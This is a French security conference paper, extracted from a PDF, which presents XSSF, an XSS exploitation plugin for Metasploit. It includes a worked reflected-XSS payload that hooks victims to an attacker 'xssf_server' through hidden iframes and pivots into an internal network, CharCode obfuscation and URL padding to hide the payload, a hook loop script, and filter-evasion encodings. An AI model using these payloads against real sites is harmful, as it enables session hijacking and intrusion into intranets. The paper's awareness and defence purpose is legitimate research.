Oui (webet appli-catif pourXSSTunnel)

Oui (web) Oui (web) Oui (web etJava)

Clientconsole

Non Non Oui (inspireede MSF)

Oui (celle deMSF)

Multi-attaquants

Oui Oui Oui Oui(XMLRPC +Armitage)

Attaquesautoma-tiques

Non Oui Oui Oui

TunnelXSS

Oui (Instal-lation drsquouneapplicationWindows)

Non Non Oui (Bi-naire)

Obfuscationde code Bypass desfiltres XSS

Non Non Non Non

Generationde rapports

Non (logs af-fiches a lavolee )

Non (logs af-fiches a lavolee )

Oui Oui

SeparationClient Serveur

Non Non Oui Non

326 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Ajout pos-sible drsquoat-taques(sansconnais-sance dunoyau)

Difficilement(en dur dansle code)

Oui Oui Oui (mo-dules)

Gestion parmodules

Non pasde notionde modulesfonctionsJavaScriptintegrees aucode

Oui (3 fi-chiers parmodules [jsphp et txt]

Oui (un fi-chier js parmodule)

Oui (un fi-chier rb parmodule)

Gestion demasse desvictimes

Oui Difficilement(utilisationde sqlite3donc drsquounfichier avecdes acceslimites)

Oui Oui

Installation Informationspour la BDet le serveurIIS a entrerdans unfichier deconfigura-tion

Mise enplace desfichiers surun serveurweb

Informationssur la BDet le serveura modifierdans le code

InstallerMSF ety copierles fichiersXSSF

Table 3 Comparaison de XSSF par rapport aux outilsexistants

Note cette comparaison a ete realisee avec la version de BeEF avant son portageen ruby (debute en octobre 2010) Certains elements ne sont plus a jour notamment

L Courgnaud 327

concernant lrsquointegration des attaques Metasploit qui semble etre meilleure Pourlrsquoinstant la nouvelle version est en beta et ne fonctionne pas totalement crsquoest pour-quoi lrsquoancienne version a ete gardee pour cette comparaison Le projet XSSShell XSSTunnel nrsquoest plus maintenu son auteur ayant rejoint le projet BeEF Quant auprojet XeEK il ne semble pour lrsquoinstant plus evoluer

Bien evidemment le gros avantage de XSSF par rapport aux autres est sonintegration dans un outil deja tres connu et enormement utilise pour les tests drsquointru-sion Lrsquoinstallation de XSSF est relativement simple et nous esperons pour le futurune integration officielle dans le Framework Metasploit Pour finir lrsquointeret majeurpar rapport aux outils actuellement existants est la possibilite drsquoutiliser un tunnelXSS afin de recuperer les pages (du domaine vulnerable) telles qursquoelles sont vues parla victime

4 Rebond et tunnel XSS

Dans cette section nous allons voir en detail une fonctionnalite importante offertepar le plugin XSSF interessante malgre les limitations de la SOP lrsquoencapsulation derequetes dans un tunnel XSS Nous verrons au travers drsquoun exemple concret lrsquoutiliteque peut avoir un rebond lors drsquoune attaque XSS et notamment lors de la mise enplace drsquoun tunnel XSS

Le principe choisi pour lrsquoexemple est simple lrsquoattaquant ayant connaissance drsquouneXSS (volatile) situee sur une application drsquoun reseau interne veut etre capable de na-viguer sur le domaine vulnerable a partir de son propre navigateur Bien evidemmentlrsquoattaquant nrsquoa aucun acces au reseau interne et de ce fait aucun acces a lrsquoapplicationLrsquoexemple choisi est base sur une vulnerabilite XSS obtenue avec une installationpar defaut de WampServer 11 mais pourrait etre reproduit exactement de la memefacon avec une XSS sur une interface web drsquoun element reseau (routeur firewalletc) ou les controles sont souvent negliges et les identifiants par defaut inchanges La vulnerabilite est donc presente sur la page httplocalhostlang=en alrsquointerieur du parametre lang

La premiere chose a laquelle on peut penser est drsquoattaquer une ou plusieurspersonnes internes au reseau (ayant acces a lrsquoapplication vulnerable) de deux manieressimples

11 httpwwwwampservercom

328 XSSF demontrer le danger des XSS

ndash Envoi (en masse) drsquoune URL contenant le code malicieux ( httpxssf_

serverloop ) vers la page du reseau interne ndash Facilement detectable par les victimes potentiellesndash Forte probabilite que la victime ne reste pas connectee bien longtemps

ndash Mise en place drsquoun site malicieux par lrsquoattaquant ndash Facilement detectable par les victimes potentiellesndash Temps de connexion dependant entierement de lrsquoattrait du site malicieux

Quelle que soit la methode retenue on constate qursquoil y a beaucoup de chancesde perdre le lien avec les victimes assez rapidement La duree de vie drsquoune XSSetant intimement liee a la duree drsquoaffichage de la page la contenant il va donc falloirtrouver une solution afin drsquoaugmenter les chances que la victime reste connecteeplus longtemps permettant ainsi a lrsquoattaquant de realiser plus drsquoactions dans la duree

Crsquoest donc la tout lrsquointeret drsquoun rebond nous allons utiliser un site (vulnerable)de grande consultation afin de rendre lrsquoattaque moins suspecte et de garder un tempsde connexion plus long avec les victimes Generalement un rebond consiste a attaquerune machine par lrsquointermediaire drsquoune autre machine afin de masquer les tracespermettant de remonter a lrsquoattaquant par exemple Pour les XSS un rebond consistea se servir drsquoune XSS sur un domaine afin de rebondir et drsquoacceder a drsquoautres domainesvulnerables Bien evidemment a cause de la SOP il sera impossible de rebondir surdrsquoautres domaines non vulnerables aux failles de type XSS Il est donc forcement plusinteressant drsquoexploiter une XSS sur une page ayant une courte duree de vie (page dereseau interne etc) a partir drsquoune page ayant une duree de vie plus longue (reseausocial page multimedia etc)

Par le passe on trouve plusieurs exemples de ce type dont un demontre a laBlack Hat 2010 12 Le chercheur dans son communique intitule How I met yourgirlfriend a montre comment localiser une personne grace a une XSS sans se servirde son IP Il se sert en fait drsquoune faille XSS sur un site pour rebondir sur une failleXSS dans lrsquointerface drsquoadministration des routeurs FiOS (Verizon) dans laquelle ilse connecte avec les identifiants par defaut (souvent inchanges) afin de recupererlrsquoadresse MAC du routeur Puis il utilise les nouveaux services Google pour retrouverles coordonnees GPS des victimes Bien evidemment il avait aussi un acces total atoute la configuration du routeur

12 Conference organisee sur le theme de la securite informatique

L Courgnaud 329

Pour en revenir a notre probleme la prochaine etape est donc de debusquer unsite vulnerable aux failles de type XSS ou les personnes visees seront susceptiblesde rester assez longtemps pour que lrsquoattaquant puisse realiser le maximum drsquoactionsTache plutot simple au vu de la frequence de rencontre des XSS et au vu de lafrequentation grandissante des sites a contenu multimedia illegaux suite a la miseen place de HADOPI 13 Utilisons donc la page httpwwwsite-de-streaming

comstreamingphpp=2943 par exemple dont le parametre vulnerable p vanous permettre de rester lies avec la victime plus longtemps

Dans un premier temps on peut donc injecter directement un script liant lavictime a XSSF p=2943gt20ltscript20src=httpxssf_serverloopgt

ltscriptgt Probleme le contenu multimedia ne sera pas charge en raison delrsquoutilisation drsquoun mauvais ID et lrsquoutilisateur sera averti du mauvais fonctionnementde la page

Nous allons donc inserer directement un code un peu plus complexe en realisantle rebond vers le serveur interne vulnerable

http wwwsite -de -streamingcom streamingphpp=2943 gt ltscript gt

documentbodyinnerHTML = rsquoltiframe width=0 height =0 src=http 19216811

lang=en22lt script src =22 http xssf_server 8888 loop22gtltscript gtgt

ltiframe gtltiframe src=http wwwsite -de -streamingcomstreamingphpp=2943

style= margin 0px padding 0px height 175 border none display

block width 100 border none overflow -y hidden overflow -x hidden

frameborder =0 scrolling =autogt ltiframe gtrsquo

ltscript gt

Le code precedent va permettre de charger deux IFRAMES dans la page ndash La premiere permet de realiser le rebond vers lrsquoapplication interne et de lier

la victime au serveur XSSF On notera qursquoil est aussi possible drsquoutiliser unmodule XSSF pour realiser le rebond Ici pour plus de simplicite le rebond sefait directement lors de lrsquoattaque La victime liee a XSSF est donc directementreconnue comme etant sur le domaine vulnerable http1921681180

ndash La seconde permet de re-afficher la page a lrsquoutilisateur avec un ID de contenumultimedia valide le laissant ainsi visionner la video De plus la page etantmaintenant chargee dans une IFRAME et le rebond dans une autre lrsquoutilisateurpeut continuer a naviguer (par les liens de la page) sans que la connexion avecXSSF ne soit rompue Bien entendu les IFRAMES sont configurees afin que lestyle de la page soit inchange

13 httpfrwikipediaorgwikiLoi Creation et Internet

330 XSSF demontrer le danger des XSS

Bien que fonctionnelle si cette URL est envoyee en masse ou par envois ciblesles chances sont assez grandes pour que lrsquoutilisateur se doute qursquoun code est inseredans lrsquoURL De plus comme la solution contient plusieurs niveaux de guillemets (rsquordquo 22) nous utiliserons donc un encodage numerique (pour les caracteres entre lesbalises ltscriptgt ) pour ne pas creer drsquoerreurs drsquointerpretation par le navigateur

httpwwwsite-de-streamingcomstreamingphpname=death_tunnelamp

movie_id_url=2943ampp1=trueampp2=falseampp3=falseampp4=falseampp5=trueamp

p6=falseampp7=falseamppage=movie_streamingamptime=1303948281772ampp=2943gt

ltscriptgteval(StringfromCharCode(10011199117[]623959))

ltscriptgt

Des parametres ont ete ajoutes afin de deplacer la partie effectivement malicieusedu code pour qursquoelle nrsquoapparaisse pas dans la barre drsquoadresses du navigateur On peutpour finir raccourcir le lien afin de lrsquoenvoyer plus simplement httpgooglZ1jI9

Maintenant que nous avons realise le rebond XSS afin de garder la victime leplus longtemps possible et que celle-ci est liee par le domaine vulnerable http

1921681180 nous allons pouvoir passer a la tunnelisation par XSS Dansles reseaux informatiques un tunnel est en fait une encapsulation de donnees drsquounprotocole reseau dans un autre Pour faire la comparaison avec les XSS on ne parlerapas de protocoles mais plutot drsquoencapsulation de requetes HTTP dans du JavaScriptLe but de la manipulation etant donc de naviguer a partir du navigateur de lrsquoattaquantsur une application du reseau interne normalement inaccessible depuis lrsquoexterieur

Le principe de notre tunnel est simple puisque la SOP autorise la victime aeffectuer des requetes sur le domaine vulnerable actuel ( http1921681180 )nous allons nous en servir comme proxy afin de naviguer sur son domaine a sa place

Lrsquoattaquant va donc pouvoir configurer son navigateur pour passer par XSSFcomme proxy et realiser une requete sur le domaine http1921681180 (1)La requete HTTP est ensuite envoyee au serveur drsquoattaque (2) qui srsquooccupe de latransformer en requete comprehensible par la victime (3) une simple requete enAJAX suffit Toutes les requetes envoyees par le navigateur sont gardees en memoiredans XSSF en attendant que la victime vienne demander ses commandes Une foisle code (requete AJAX ou liste de requetes) transmis par XSSF (4) la victime vapouvoir lrsquoexecuter (5) et recevoir une reponse du serveur interne vulnerable (6) Cettereponse sera renvoyee au serveur XSSF en tant que reponse a une attaque (7) et leserveur drsquoattaque pourra enfin retourner la reponse au navigateur (8) Lrsquoattaquantpeut ainsi visualiser le domaine comme srsquoil etait la victime puisque crsquoest elle qui varealiser toutes ces requetes

L Courgnaud 331

Figure 12 Principe du tunnel XSS

Au niveau du serveur drsquoattaque XSSF lrsquoordre de depart des requetes a executernrsquoest pas forcement le meme que lrsquoordre drsquoarrivee des reponses (la reponse a unerequete A envoyee avant une requete B peut etre recue apres celle de B) Il est doncimportant au niveau du serveur drsquoidentifier chacune des requetes envoyees par lenavigateur afin de ne pas inverser les ressources demandees

Bien evidemment le proxy nrsquoest pas aussi rapide qursquoun proxy normal car le serveurdrsquoattaque doit attendre que la victime demande des commandes avant de pouvoireffectuer une requete Un moyen efficace est de regler lrsquointervalle de demandes decommandes depuis la victime avec une petite valeur (1 ou 2 secondes)

Pour le moment le proxy gere plutot bien tout types de ressources en GET eten POST sur des domaines en HTTP Quelques problemes subsistent encore pourlrsquoutilisation sur des domaines en HTTPS avec des navigateurs ne supportant pas leHTML5 (problemes enonces dans la partie 23) Lrsquoutilisation du tunnel dans cetteminorite de cas risque de srsquoaverer impossible

On remarquera pour finir que sous Internet Explorer 6 (encore tres utilise 14) lapolitique de la SOP nrsquoinclut pas de regles pour les documents ouverts localement il est donc possible de realiser une attaque demandant drsquoouvrir un fichier malicieux(HTML + JavaScript) en local et ainsi de ne pas avoir a se soucier de la SOP Graceau tunnel on peut donc naviguer sur nrsquoimporte quel site et profiter des sessions dejaouvertes de la victime sur differentes applications

14 httpie6countdowncom

332 XSSF demontrer le danger des XSS

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT NAVIGATEUR

Transformation de la requecircte en JavaScript (XMLHttpRequest)

Transformation de la requecircte 1 en JavaScript

Transformation de la requecircte 2 en JavaScript

Intranet httpintranetindexphp

Demande de code agrave exeacutecuter

Etc

Proxy XXXXY

GET httpintranetindexphp

GET httpintranetindexphp

Mise en attente du code JavaScript agrave exeacutecuter

Demande de code agrave exeacutecuter

200 Envoi du code agrave exeacutecuter

Exeacutecution du code coteacute client

Envoi des reacutesultats

200 OK

Reacuteponse au GET (httpintranetindexphp)

GET httpintranetpage1php

Mise en attente du code agrave exeacutecuter

GET httpintranetimagejpg

Mise en attente du code agrave exeacutecuter (concateacutenation au code deacuteja existant)

XMLHttpRequest

SOP OK Reponse OK

Figure 13 Fonctionnement de XSSF Tunnel

5 Protections limites et contournements

Les vulnerabilites de type XSS sont connues depuis de nombreuses annees etbien que beaucoup de techniques existent pour srsquoen proteger elles sont souvent peuappliquees voire jamais sur certaines applications Ce manque de protections estsouvent du a lrsquoidee generale infondee de beaucoup de personnes pensant qursquoune failleXSS sert juste a afficher une boite de dialogue ce qui en fait est plus une preuve deconcept (PoC) qursquoune attaque en elle-meme

Mais face aux possibilites evoquees precedemment quelles sont les protectionsreelles existantes afin de se proteger efficacement

Il existe tout drsquoabord des solutions cote client souvent utilisees mais parfois in-efficaces

Filtres XSS (IE8 par exemple) Plutot efficace en temps normal mais ne fonc-tionne que pour les XSS volatiles (les plus rencontrees) Pour les XSS persistantes

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 6: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

L Courgnaud 307

est tout a fait possible de charger une ressource drsquoun domaine malicieux B depuis undomaine vulnerable A

Figure 1 Acces direct a une ressource JavaScript

De la meme maniere il est possible de charger des ressources avec les objets detype image CSS etc En revanche bien que lrsquoon puisse charger une page ou executerdu code avec un objet de script distant il sera impossible drsquoacceder (en JavaScript)au contenu retourne Crsquoest le meme principe pour les IFRAMES toujours a causede la SOP Les IFRAMES quant a elles seront tres utiles par exemple pour realiserun POST de maniere invisible vers un serveur distant controle par lrsquoattaquant ounon controle (sur une application tierce vulnerable aux attaques de type CSRF 7 parexemple)

Nous verrons dans le chapitre de presentation de XSSF les differentes faconsutilisees pour contourner le probleme de la Same-Origin Policy politique qui acependant beaucoup de soucis a se faire avec la venue drsquoun nouvel element

24 Arrivee du HTML5 tous aux abris

Bien que les specifications pour ce nouveau standard ne soient pas encore completementdefinies la majorite des navigateurs actuels ont drsquoores et deja commence a suppor-ter cette nouvelle revision du HTML La cloture de lrsquoajout de fonctionnalite pour

7 Cross-Site Request Forgery httpfrwikipediaorgwikiCross-site_request_forgery

308 XSSF demontrer le danger des XSS

ce nouveau standard est prevue pour le 22 mai 2011 et les specifications serontcompletement terminees en 2014

Le HTML5 ne vient pas faciliter le travail de protection contre les failles XSSmais pire encore il elargit la portee des attaques et oblige les developpeurs a reparerdu code deja considere comme sur

Le premier point est lrsquoarrivee de nouvelles balises HTML (ltaudiogt ltvideogt etc)et evenements JavaScript (oncanload etc) qui vont venir ajouter de la complexite acertains filtres deja en place sur de nombreuses applications On peut citer lrsquoexempledes e-mails qui acceptent souvent du code HTML dans leur contenu (images pucesetc) en utilisant des filtres afin drsquoeviter les XSS Lrsquoarrivee de ces nouveaux elementsoblige a remettre a jour ces filtres XSS rendus inefficaces avec lrsquoarrivee du HTML5La page HTML5 Security Cheatsheet 8 montre les differents ajouts pouvant poserde nouveaux problemes et les facons de rendre lrsquoapplication sure a nouveau

Le second point probablement le plus important est lrsquointroduction du partagede ressources entre domaines (Cross-Origin Resource Sharing) En drsquoautres termesle navigateur peut etre autorise a effectuer des requetes AJAX entre des domainesdifferents contournant ainsi la SOP Ceci est rendu possible grace a lrsquoajout de nou-velles entetes HTTP par le serveur autorisant ou non chaque domaine distant aexecuter la requete Ainsi un domaine A pourra charger ou modifier une ressource(GET POST etc) sur un domaine B si celui-ci lrsquoautorise

Cette technique a servi a demontrer une nouvelle XSS sur lrsquointerface web IPhone deFacebook dont le parametre profilephp dans lrsquoURL httptouchfacebook

comprofilephp permettait de charger une page dynamiquement (AJAX - XMLHtt-pRequest) a lrsquointerieur drsquoune balise div Auparavant les developpeurs nrsquoavaientpas reellement a se soucier de la page chargee puisque le navigateur aurait par exempleinterdit le chargement de httpremote-servermaliciousphp (SOP do-maine different)

Grace au HTML5 le chargement est desormais possible si le domaine remo-

te-server lrsquoautorise Il lui suffit drsquoutiliser les nouvelles entetes HTTP afin de rendrepossible la discussion entre les deux domaines

ltphp

Domaines autorises

header(rsquoAccess -Control -Allow -Origin http touchfacebookcomrsquo)

Methodes autorises

header(rsquoAccess -Control -Allow -Methods GET POST OPTIONS rsquo)

8 httpheiderichjso

L Courgnaud 309

gt

lt-- Code HTML JavaScript malicieux --gt

Ainsi le navigateur est autorise a charger la ressource malicieuse vers http

touchfacebookcom rendant toutes sortes drsquoattaques possibles (le code etantplace dans une balise div il a un acces total a la page)

Cependant il ne sera pas possible depuis un site web malicieux de charger uneressource drsquoun domaine qui nrsquoa pas donne son autorisation sauf en cas de mauvaisesconfigurations (entetes Access-Control definies a par exemple etc)

Dans notre cas cette technique peut simplifier la recuperation de donnees sur leserveur drsquoattaque depuis le serveur vulnerable (en configurant les entetes renvoyeespar notre serveur)

25 Attaques XSS connues et consequences

Au fil des annees de tres grandes attaques XSS ont ete menees grace a des XSSpersistantes et volatiles

Les volatiles bien que plus nombreuses sont les moins simples a utiliser pourrealiser une attaque de masse En effet elles impliquent une mise en confiance desutilisateurs afin de les amener a cliquer sur un lien malicieux Ce type drsquoattaque estsouvent lie a un envoi en masse de courriels avec du contenu legitime du moins apremiere vue Cela permet drsquoatteindre un grand nombre de victimes en meme tempsmais lrsquoattaquant ne peut jamais etre sur qursquoune personne va suivre le lien contraire-ment aux attaques persistantes qui elles ne requierent aucune action particuliere

Les attaques par XSS persistantes ont souvent pris la forme de vers afin de sepropager et drsquoatteindre le plus de personnes possibles Les plus importantes ont eulieu sur les plus grands reseaux sociaux (Facebook MySpace Hi5 etc) et ont toutespermis drsquoatteindre un nombre enorme de cibles en un temps tres court

Il existe de nombreux cas de vers XSS ou drsquoattaques XSS connues mais ce qursquoilfaut retenir est la puissance de telles attaques en termes de nombre de victimesdans un espace de temps tres court Les attaques XSS reposent en grande partie surla confiance des utilisateurs envers une application qui acceptent generalement lesactions realisees depuis des sites qursquoils considerent comme de confiance

310 XSSF demontrer le danger des XSS

3 XSS Framework (XSSF)

Apres avoir parle des possibilites offertes par les XSS nous allons desormaispouvoir rentrer dans le vif du sujet et detailler le fonctionnement du framework XSSFa lrsquointerieur de MSF

Lors du lancement du projet XSSF quelques outils existaient deja avec chacunleurs avantages et inconvenients (voir chapitre 39) La raison principale de realiserun framework supplementaire etait vraiment drsquoune part lrsquointegration dans MSF (tresutilise par les auditeurs) et drsquoautre part lrsquoajout de nombreuses fonctionnalites parrapport a lrsquoexistant

31 Metasploit Framework (MSF)

Metasploit est un projet open-source lie a la securite informatique qui fournitdes informations sur les nouvelles vulnerabilites aide a la penetration de systemesinformatiques et au developpement de signatures pour les IDS 9

Metasploit Framework (MSF) est le plus connu des sous-projets de Metasploit etsert pour le developpement et lrsquoexecution drsquoexploits contre une machine (locale oudistante)

Il peut etre utilise par des auditeurs pour tester le niveau de vulnerabilite decertains systemes afin de mieux les proteger par des pirates afin drsquoexploiter desmachines distantes ou a des fins drsquoeducation

Initialement developpe en langage Perl a sa sortie en 2003 MSF a ete complete-ment reecrit depuis sa version 30 (actuellement 360) en langage Ruby Les raisonsde ce changement sont assez diverses les plus importantes etant le fait de permettrela programmation par classes et modules ainsi que lrsquoexistence drsquoun interpreteur natifRuby sur la plate-forme Windows

Lrsquointeret principal drsquoun framework pour le projet XSSF est de pouvoir reutilisersimplement beaucoup de morceaux de codes et ne pas avoir a les re-implementerpour chaque module (sockets serveurs systemes de connexions etc) De plus MSFfonctionne sur toutes les versions de Linux Mac OS X Unix et sur Windows en

9 Un systeme de detection drsquointrusion (Intrusion Detection System) est un mecanisme destine a repererdes activites anormales ou suspectes sur un reseau (Wikipedia)

L Courgnaud 311

utilisant Cygwin (emulateur de systeme UNIX)

Enfin Metasploit Framework ayant emerge en tant que plate-forme de deve-loppement dans la securite informatique la publication drsquoune vulnerabilite logicielleest desormais souvent accompagnee drsquoun module drsquoexploitation pour Metasploit

32 Integration dans MSF

Avant de se pencher sur la partie de la construction du framework il a deja falludefinir comment lrsquoinserer dans MSF Apres avoir etudie les differentes parties lasolution qui a ete retenue est celle illustree en figure 2

Figure 2 Architecture de MSF avec XSSF

Lrsquoarchitecture du projet XSSF est la meme que celle de MSF dans le but drsquouneintegration officielle Nous noterons qursquoil nrsquoy a eu aucune modification des fichiersdeja existants pour lrsquoajout de XSSF

La partie MSF Core voit donc lrsquoapparition de nouveaux fichiers afin drsquoy integrerles fichiers de definition des tables de base de donnees necessaires au fonctionnementde XSSF

Ensuite la partie des fichiers du noyau du framework srsquoinsere dans MSF Base Celle-ci doit permettre lrsquointeraction avec la base de donnees et doit proposer unserveur web capable drsquointeragir avec toutes les victimes en meme temps Le noyaupropose aussi lrsquointegration de nouveaux modules drsquoattaques dans MSF ceux de type Auxiliary Ces modules peuvent etre rajoutes simplement par nrsquoimporte qui etchaque module correspondra a une attaque On retrouve par exemple un module de

312 XSSF demontrer le danger des XSS

tabnapping 10 un module de vol de fichiers sur Android etc

Enfin le nouveau plugin XSSF est integre au famework proposant ainsi de nou-velles commandes dans Metasploit Framework

Tous ces elements ajoutes vont permettre drsquointegrer XSSF dans MSF et de le fairefonctionner

Une fois Metasploit lance par lrsquoattaquant et plus particulierement le nouveauplugin XSSF un serveur drsquoattaque principal sera demarre Ce serveur a pour but defaire le lien avec

ndash toutes les victimes actives il doit permettre de garder un lien entre les victimeset lrsquoattaquant

ndash la base de donnees contenant des informations sur les victimes et les attaquesde chacune

ndash les differents modules drsquoattaques lances (exploits Metasploit ou attaques XSSF) ndash lrsquoattaquant qui doit pouvoir interagir avec le tout

Figure 3 Fonctionnement et architecture de XSSF

10 httpblogsorange-businesscomsecurite201005tabnapping-le-phishing-via-onglets-de-navigation

html

L Courgnaud 313

Sur le schema on remarque plusieurs details Premierement le lancement drsquounexploit Metasploit sur un navigateur (ou plugin du navigateur) ainsi que celui drsquouneattaque XSSF entraine le lancement drsquoun serveur web en interne (et le lancementdrsquoun job au sens Metasploit) Enfin les victimes nrsquoont pas connaissance desdifferents serveurs drsquoattaques elles connaissent juste lrsquoadresse du serveur principalqursquoelles doivent contacter (principe de serveur maıtre et esclaves) Lrsquoattaquant luiest capable drsquoobserver les victimes et de lancer des attaques ciblees ou collectives parlrsquointermediaire du plugin XSSF

Maintenant que nous avons vu la presentation generale de lrsquoarchitecture de XSSFnous allons pouvoir detailler la maniere dont sont gerees les victimes et par quelsmoyens il est possible de ne pas avoir a se soucier de la Same-Origin Policy

33 Injection XSS et victimes

Desormais nous savons que le lancement du plugin XSSF entraine le lancementdrsquoun serveur principal drsquoattaque sur lrsquoIP locale et sur le port choisi par lrsquoattaquant(8888 par defaut)

Figure 4 Lancement de XSSF sur le port 80

Afin de regrouper les differentes victimes au sein drsquoun meme reseau il estnecessaire de realiser une injection generique sur lrsquoapplication vulnerable Cetteinjection doit faire appel a la ressource loop sur le serveur (quel qursquoen soit lemoyen) et renvoie le code suivant (partie GET simplifiee presentee ici)

function XSSF_EXECUTE_LOOP ()

script = documentcreateElement(rsquoscript rsquo) scriptid = XSSF_CODE

scriptsrc = http 101003624580 asklocation= + windowlocation + amp

id=5amp time= + escape(new Date()getTime ())

314 XSSF demontrer le danger des XSS

documentbodyappendChild(script)

victim_loop = setInterval(executeCode 5 1000)

Lors drsquoune nouvelle demande de la ressource loop une nouvelle victime estcreee cote serveur et lrsquoidentifiant est insere dans son cookie Crsquoest comme cela qursquoelleest ensuite reconnue par le serveur drsquoattaque XSSF lorsqursquoelle effectue une requete

Un identifiant de secours est insere dans les requetes ask et an-

